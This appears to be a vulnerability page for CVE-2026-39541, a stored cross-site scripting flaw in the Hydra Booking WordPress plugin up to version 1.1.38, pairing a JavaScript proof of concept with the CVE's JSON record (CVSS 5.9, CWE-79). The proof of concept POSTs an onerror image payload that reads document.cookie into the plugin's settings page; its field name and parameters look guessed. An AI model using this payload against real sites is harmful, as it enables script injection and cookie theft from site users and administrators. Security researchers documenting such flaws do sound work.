CVE-2026-39541

<!-- PoC for CVE-2026-39541 (Stored XSS) Target: Hydra Booking Plugin <= 1.1.38 --> <script> // Malicious payload to be injected in a vulnerable field (e.g., booking label) var payload = '<img src=x onerror=alert(document.cookie)>'; // Construct the request fetch('/wp-admin/admin.php?page=hydra_booking_settings', { method: 'POST', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: 'action=save&field_name=' + encodeURIComponent(payload) }).then(response => console.log('Payload injected successfully')); </script>

{"cve": {"id": "CVE-2026-39541", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:26.637", "lastModified": "2026-04-24T18:07:25.343", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themefic Hydra Booking hydra-booking allows Stored XSS.This issue affects Hydra Booking: from n/a through <= 1.1.38."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.7, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/hydra-booking/vulnerability/wordpress-hydra-booking-plugin-1-1-38-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}